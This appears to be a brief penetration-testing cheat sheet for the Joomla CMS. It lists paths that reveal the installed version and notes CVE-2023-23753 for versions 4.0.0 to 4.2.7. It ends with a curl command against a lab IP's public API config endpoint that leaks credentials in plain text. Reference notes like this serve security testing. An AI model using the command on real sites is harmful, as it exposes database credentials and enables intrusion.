Joomla

Content Management System

Documentation

https://docs.joomla.org/docs.joomla.org

---

Enumeration

Find the Version:

• 1.0 to 1.5 -> includes/version.php

• 1.6 to 3.x -> administrator/manifests/files/joomla.xml

• 4.x -> administrator/manifests/files/joomla.xml

Recommended: Use the admin interface or the Joomla\CMS\Version class programmatically.

---

---

Vulnerabilities

CVE-2023-23753 - 4.0.0 to 4.2.7

• Read about it here

• Credentials leak in plain text here:

curl -v http://10.9.49.205/api/index.php/v1/config/application?public=true

---